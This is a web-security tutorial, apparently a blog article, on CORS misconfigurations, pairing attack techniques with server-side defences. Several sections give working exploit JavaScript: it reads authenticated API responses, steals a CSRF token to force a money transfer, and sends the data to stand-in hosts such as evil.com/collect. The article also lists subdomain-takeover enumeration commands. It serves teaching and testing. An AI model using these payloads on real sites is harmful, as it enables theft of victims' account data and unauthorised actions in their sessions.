TL;DR — Cross-Origin Resource Sharing (CORS) is a controlled relaxation of the Same-Origin Policy, not a security control in its own right. When developers loosen it carelessly — reflecting theOriginheader, trustingnull, allowing credentials with a wildcard-like policy, or writing sloppy regexes for the allow-list — they hand attackers a primitive to read authenticated responses cross-origin. This article walks the mechanics of CORS, eight concrete misconfiguration classes with working request/response pairs, the exfiltration JavaScript an attacker actually deploys, and the server-side patterns that close every one of them.
Executive Summary
The Same-Origin Policy (SOP) is the bedrock of browser security: script running on https://evil.com may send a request to https://bank.example (with the user's cookies attached), but it cannot read the response. That read restriction is what stops a malicious page from silently scraping your inbox, your bank balance, or your API tokens.
CORS exists to safely poke holes in that wall. A server can opt in to letting specific foreign origins read its responses by emitting Access-Control-Allow-Origin (ACAO) and related headers. The danger is that the entire mechanism is server-declared and browser-enforced — the browser will faithfully expose a cross-origin response to attacker JavaScript if and only if the server tells it to. So every CORS bug is fundamentally the server saying "yes, let this origin read me" when it should have said "no."
The impact is the mirror image of what SOP prevents: an attacker who lures a victim to a malicious page can issue authenticated requests to a vulnerable API and read the responses — stealing PII, API keys, CSRF tokens, and session-bound data. Because the requests ride the victim's existing cookies, no password is needed. This is why a single reflected-origin header on an authenticated endpoint is frequently a high-severity finding.
How CORS Actually Works
flowchart TD
A["evil.com JS calls<br/>fetch(bank.example/api/me,<br/>{credentials:'include'})"] --> B{"Simple request<br/>or preflighted?"}
B -->|"GET/POST,<br/>safe headers"| C["Browser sends request<br/>with Origin: evil.com"]
B -->|"Custom headers,<br/>PUT/DELETE, etc."| D["Browser sends<br/>OPTIONS preflight first"]
D --> E{"Server returns<br/>ACAO + ACAM + ACAH<br/>matching?"}
E -->|No| F["Browser blocks<br/>the real request"]
E -->|Yes| C
C --> G{"Response ACAO ==<br/>evil.com AND<br/>ACAC: true?"}
G -->|No| H["Browser hides body<br/>from JS (SOP holds)"]
G -->|Yes| I["Browser EXPOSES body<br/>to evil.com JS"]
style I fill:#2a0c14,stroke:#ef233c,color:#fee2e2
style F fill:#0c2a22,stroke:#21d48e,color:#d1fae5The headers that matter:
| Header | Meaning | Attacker interest |
|---|---|---|
Access-Control-Allow-Origin (ACAO) | Which origin may read the response | The crown jewel — if it reflects or wildcards, you win |
Access-Control-Allow-Credentials (ACAC) | May the request carry cookies/auth and still be readable | true + reflected origin = authenticated data theft |
Access-Control-Allow-Methods (ACAM) | Methods permitted on preflighted requests | Needed for non-simple verbs |
Access-Control-Allow-Headers (ACAH) | Custom request headers permitted | Needed to satisfy preflight |
Access-Control-Max-Age | How long the preflight is cached | Minor; affects probe noise |
The single most important rule, baked into the Fetch spec: **the wildcard ACAO: * cannot be combined with ACAC: true.** A browser refuses to expose a credentialed response when the allow-origin is *. This is precisely why attackers hunt for the reflected origin pattern — it is the only way to get both "send my cookies" and "let me read it."
Misconfiguration 1 — Origin Reflection
The classic. The server reads the incoming Origin header and echoes it straight back:
GET /api/account HTTP/1.1Host: api.bank.exampleOrigin: https://evil.comCookie: session=eyJhbGci... HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: trueContent-Type: application/json {"id":4412,"email":"victim@corp.com","apiKey":"sk_live_9f...","balanceUSD":18240}The server has effectively told the browser "any origin that asks is allowed." That defeats SOP entirely for credentialed reads. The exploit page:
<script>fetch("https://api.bank.example/api/account", { credentials: "include" // ride the victim's session cookie}).then(r => r.text()).then(data => navigator.sendBeacon("https://evil.com/collect", data) // exfiltrate);</script>A victim who merely visits the attacker's page — or any page where the attacker can inject a script tag — leaks their entire account object. Reflection usually arises from a well-meaning helper like res.setHeader('ACAO', req.headers.origin) written to "support all our frontends."
Misconfiguration 2 — Trusting the null Origin
Some apps allow-list the literal string null, often because internal tooling or sandboxed contexts send it. But null is attacker-reachable: a sandboxed iframe, a data: URL, or a redirect-flattened request all produce Origin: null.
Origin: null HTTP/1.1 200 OKAccess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true<iframe sandbox="allow-scripts allow-top-navigation" src="data:text/html,<script> fetch('https://api.bank.example/api/account',{credentials:'include'}) .then(r=>r.text()).then(d=>fetch('https://evil.com/c?'+encodeURIComponent(d))); </script>"></iframe>The sandboxed iframe has a null origin, so its requests carry Origin: null, which the server happily trusts. Never allow-list `null` — there is no legitimate, trustworthy origin that value represents.
Misconfiguration 3 — Sloppy Allow-List Regex
When teams move past blind reflection they often validate the origin with a substring or loosely-anchored regex. Every one of these is bypassable:
| Intended allow-list | Flawed check | Attacker origin that passes |
|---|---|---|
bank.example | origin.endsWith("bank.example") | https://evilbank.example |
bank.example | origin.includes("bank.example") | https://bank.example.evil.com |
bank.example | /bank\.example/ (unanchored) | https://attacker.com/bank.example style host tricks, or bankxexample if dot unescaped |
*.bank.example | naive prefix match | https://evil.bank.example.attacker.com |
The two killers are prefix and suffix matching:
startsWith("https://bank.example")→https://bank.example.evil.compasses.endsWith("bank.example")→https://evilbank.examplepasses.
A frequently overlooked case is the unescaped dot in a regex: /^https:\/\/sub.bank\.example$/ treats the first . as "any character," so subXbank.example (e.g. https://sub-bank.example registered by the attacker) matches.
Misconfiguration 4 — Whitelisting Your Own Subdomains Blindly
If the policy trusts *.corp.example and any subdomain has an XSS or a user-content sink (e.g. uploads.corp.example serving HTML, or a forgotten dev.corp.example), the attacker hosts their exfiltration script there. Their origin is legitimately something.corp.example, passes the allow-list, and reads the API. CORS trust should be granted to specific origins, and subdomain wildcards should be treated as transitively trusting every subdomain's worst sink.
Misconfiguration 5 — Access-Control-Allow-Origin: * on Sensitive but "Public" Data
Developers sometimes set ACAO: * on an endpoint they believe is public, forgetting it also returns data when a session cookie is present. The wildcard alone cannot read credentialed responses — but if the endpoint returns sensitive data based on a bearer token in a custom header rather than cookies, the wildcard is enough, because token-in-header requests aren't gated by the credentials flag the same way cookies are. Wildcard CORS on anything that reflects caller identity is a leak waiting to happen.
Misconfiguration 6 — Pre-flight Misreads and Cache Poisoning
A subtle class: the server validates the origin on the OPTIONS preflight but not on the actual GET/POST, or vice versa. Browsers cache preflight results (Access-Control-Max-Age), and inconsistent handling between the two can let a crafted sequence slip a disallowed method through. Always apply identical origin validation to both the preflight and the actual response.
Misconfiguration 7 — Trusting Referer Instead of Origin
Some hand-rolled CORS gates read Referer because "it's basically the same thing." It isn't. Referer is suppressed by referrer-policy, spoofable in non-browser clients, and structurally different. Worse, a flawed Referer substring check inherits all the prefix/suffix bypasses above plus path-based tricks (https://evil.com/?x=https://bank.example).
Misconfiguration 8 — HTTPS Trust Extended to HTTP Origins
If the allow-list logic strips the scheme before comparing host, http://bank.example (man-in-the-middleable) becomes trusted alongside https://bank.example. On a shared network the attacker MITMs the cleartext origin, injects script, and now holds a trusted origin against the HTTPS API.
The Exfiltration Toolkit
Once any of the above grants a readable cross-origin response, the attacker's payload is short and reliable. A two-step pattern handles APIs that require a CSRF token by first reading it, then acting:
// Step 1: read a CSRF token cross-origin (only possible due to the CORS bug)const me = await fetch("https://api.bank.example/api/me", { credentials: "include"}).then(r => r.json()); // Step 2: use it to perform a state-changing action AS the victimawait fetch("https://api.bank.example/api/transfer", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "X-CSRF-Token": me.csrf }, body: JSON.stringify({ to: "attacker-acct", amountUSD: 5000 })}); // Step 3: exfiltrate everything we readnavigator.sendBeacon("https://evil.com/loot", JSON.stringify(me));This is the same lesson as weaponised XSS: the read primitive is not just "see data" — it lets you read anti-CSRF tokens and then act as the user, because every request rides the live session.
CORS BUG IMPACT LADDER (typical severity) Reflected origin + ACAC:true (authed API) ██████████ criticalnull origin trusted + ACAC:true █████████░Suffix/prefix allow-list bypass ████████░░Wildcard on token-identified endpoint ██████░░░░Wildcard on truly public data █░░░░░░░░░ informationalTesting Methodology
A disciplined CORS test against an authenticated endpoint:
- Baseline. Send a normal request and note whether
ACAO/ACACappear at all. No CORS headers = SOP fully protects it; move on. - Reflect probe. Set
Origin: https://evil.com. If it comes back inACAOwithACAC: true, you have a critical reflection bug. - `null` probe. Set
Origin: null. If trusted, sandbox-iframe exploit applies. - Sibling/prefix/suffix probes. Try
https://bank.example.evil.com,https://evilbank.example,https://bank.example.attacker.com. Any acceptance reveals a flawed matcher. - Scheme probe. Try
http://bank.example. Acceptance means downgrade trust. - Confirm readability. The decisive test is not whether headers look permissive but whether a real browser exposes the body. Build a PoC page and confirm
fetch(...).then(r=>r.text())returns data.
Reporting tip: a permissive header is informational until you prove a credentialed response is readable. Always include a working PoC HTML page and the exfiltrated (redacted) JSON — that is what converts a "misconfiguration" into an actioned high-severity finding.
Defence: Getting CORS Right
flowchart TD
A["Incoming request<br/>with Origin header"] --> B{"Origin in strict<br/>allow-LIST (exact match)?"}
B -->|No| C["Emit NO CORS headers<br/>(SOP protects the data)"]
B -->|Yes| D["Echo that exact origin<br/>in ACAO"]
D --> E{"Does this endpoint<br/>need credentials?"}
E -->|No| F["Do NOT send ACAC"]
E -->|Yes| G["ACAC: true<br/>+ Vary: Origin"]
style C fill:#0c2a22,stroke:#21d48e,color:#d1fae5
style B fill:#0c2a22,stroke:#21d48e,color:#d1fae5- Use an exact-match allow-list of full origins (
scheme + host + port). Compare with strict equality against a hard-coded set — neverincludes,startsWith,endsWith, or an unanchored regex. - Never reflect the raw `Origin` header unless it has first passed exact-match validation. If it passes, echo that exact string (you cannot send multiple origins or a space-separated list — only a single origin or
*). - Never allow-list `null`. There is no safe origin it represents.
- Avoid `ACAC: true` unless genuinely required. If an endpoint doesn't need cookies cross-origin, omit credentials entirely and the wildcard-credential restriction protects you.
- Add `Vary: Origin` whenever the ACAO value depends on the request origin, so caches don't serve one origin's permissive header to another.
- Validate identically on preflight and actual response. Don't trust the
OPTIONSdecision to cover the real request. - Don't substitute `Referer`. Use
Origin, the header purpose-built for this. - Treat subdomain wildcards as transitive trust. If you must use
*.corp.example, ensure every subdomain is free of HTML-injection and untrusted user content, or you've trusted all of them. - Defence in depth. CORS is not a substitute for authentication, anti-CSRF tokens, or
SameSitecookies. Keep those in place; a CORS bug should expose data only if everything else also failed.
Why This Bug Persists
CORS is widely misunderstood as a defensive header you "add to be more secure," when in reality every CORS header removes a protection the browser gives you for free. Frameworks and CORS middleware ship with origin: true (reflect everything) or origin: "*" as convenient defaults, and copy-pasted Stack Overflow snippets propagate the reflect-the-origin anti-pattern. The bug also hides well: the headers look innocuous in a proxy log, the endpoint "works," and the failure mode only manifests when a malicious cross-origin page reads the response — something normal QA never does.
Advanced Technique: Chaining CORS with CSRF
A CORS read-primitive becomes dramatically more powerful when paired with CSRF. The classic CSRF defence is a synchroniser token: include a per-session secret in every state-changing request, and a cross-origin form submission that can't read the response can't steal it. CORS misconfiguration breaks that defence completely — the attacker can read the response, so the token is no longer secret.
The Two-Step CORS-Assisted CSRF Attack
// Phase 1: cross-origin GET to a credentialed endpoint that embeds the CSRF tokenconst resp = await fetch("https://api.bank.example/api/settings", { credentials: "include" // carries the session cookie});const data = await resp.json();const csrf = data.csrfToken; // read freely because of the CORS bug // Phase 2: use the token to fire a state-changing POST as the victimawait fetch("https://api.bank.example/api/transfer", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "X-CSRF-Token": csrf // anti-CSRF bypass courtesy of CORS }, body: JSON.stringify({ to: "attacker", amountUSD: 9999 })});Without the CORS bug, the attacker's cross-origin script is blocked from reading the response in Phase 1, so it never learns csrfToken. The CORS misconfiguration turns a token that should only ever be visible to the legitimate origin into an attacker-readable value — and the CSRF protection collapses.
Modern browsers set SameSite=Lax by default, which prevents cookies from being sent on cross-site navigations with non-safe methods. However, SameSite does not prevent a cross-origin fetch() with credentials: "include" on a same-site request (when the attacker's page is a subdomain or shares the registrable domain), and a reflected-origin CORS flaw on a cross-site endpoint can still be exploited from a subdomain that shares the SameSite boundary. The interaction rules are nuanced — always test empirically, and never treat SameSite as a substitute for a correct CORS policy.
Subdomain Takeover as a CORS Bypass Primitive
Subdomain allow-list policies (trusting *.corp.example) are only as strong as the weakest subdomain in that set. The attack chain is:
1. Attacker discovers abandoned CNAME record: dev.corp.example CNAME dev-old.example.com (not registered or expired) 2. Attacker registers / claims dev-old.example.com on the third-party platform (GitHub Pages, Azure, Heroku, Netlify, etc.) 3. dev.corp.example now resolves to attacker-controlled content. 4. Attacker hosts a CORS exfiltration page at dev.corp.example — this origin passes the api.corp.example wildcard allow-list. 5. Any victim who visits a page hosting the attacker's script (or who receives a link) leaks their api.corp.example session data cross-origin.This is not a bug in the CORS implementation — the server correctly echoes the trusted origin. The vulnerability is that "trusted subdomain" was defined by a wildcard rather than an explicit list, and subdomains are only permanently controlled if DNS and platform registrations are actively maintained.
Subdomain Takeover Hunting in Scope
# Enumerate subdomainssubfinder -d corp.example | tee subdomains.txt # Check for dangling CNAMEs / unregistered targetscat subdomains.txt | dnsx -resp -cname | \ grep -v "NXDOMAIN" | \ awk '{print $1, $3}' > live_cnames.txt # Cross-check CNAME targets against platform claim pages# (GitHub Pages: 404 with "There isn't a GitHub Pages site here"# Heroku: "No such app", Azure: "Error 404 - Web app not found", etc.)nuclei -list live_cnames.txt -t takeovers/If any CNAME target is claimable, the subdomain is takeable — and if the API's CORS allow-list includes *.corp.example, that takeover is immediately a CORS bypass and a path to authenticated data exfiltration.
The null Origin Deep Dive: More Vectors Than You Think
Beyond sandboxed iframes and data: URLs, several other contexts generate Origin: null:
| Scenario | Why null is sent |
|---|---|
<iframe sandbox> (any sandbox attribute) | Sandboxed origin is opaque |
<iframe src="data:..."> | Data URLs have no meaningful origin |
file:// pages | Local-file requests use null origin |
| Redirects that cross origins in some implementations | Redirect chain collapses the origin |
| Certain browser extension contexts | Extension pages may have opaque origins |
| Electron / NW.js app content | Renderer contexts can produce null |
The practical implication is that a null-origin allowance is reachable from more vectors than a developer typically imagines. A file://-loaded internal tool, an Electron application, or a browser extension can all silently satisfy Origin: null — making the "trusted tool sends null" assumption extremely fragile.
CORS Bypass via postMessage Bridge
A subtler variant: the target page itself is not CORS-vulnerable, but it loads a cross-origin iframe whose endpoint is. A misconfigured postMessage listener on the target can be used as a relay:
// On evil.com: send a message to the legitimate target page// which has a postMessage handler that fires a credentialed fetch internallywindow.open("https://app.corp.example/dashboard");// wait for open, then:target.postMessage({ action: "fetch", url: "/api/sensitive" }, "*");// if app.corp.example reflects postMessage responses back:window.addEventListener("message", e => { if (e.origin === "https://app.corp.example") navigator.sendBeacon("https://evil.com/c", JSON.stringify(e.data));});This is not CORS mis-configuration in the headers sense, but it illustrates that CORS bypass and postMessage relay are related primitives — a page that reads its own authenticated API and helpfully postMessages the result to whoever asks is a CORS bypass by proxy.
Conclusion and Takeaways
CORS misconfigurations are common precisely because the mechanism inverts the usual intuition: a more permissive CORS policy is a weaker security posture, and the most dangerous configuration (reflected origin + credentials) is also the one developers reach for when they want "it to just work with all our frontends." The attacker's path is short — lure a victim to a page, fetch the authenticated endpoint with credentials: "include", read the response the browser was tricked into exposing, and exfiltrate it (often reading a CSRF token to then act as the user).
The defensive discipline is equally short: maintain a hard-coded, exact-match allow-list of full origins; never reflect an unvalidated Origin; never trust null; add ACAC: true only when truly needed and pair it with Vary: Origin; and remember that CORS is a relaxation of the Same-Origin Policy, not a feature you bolt on for safety. Test every authenticated endpoint with reflect, null, sibling, prefix/suffix, and scheme probes — and only call it a finding when a real browser hands the response body to attacker JavaScript. Get those right and CORS does exactly what it was designed to do: open the precise doors you intend, and no others.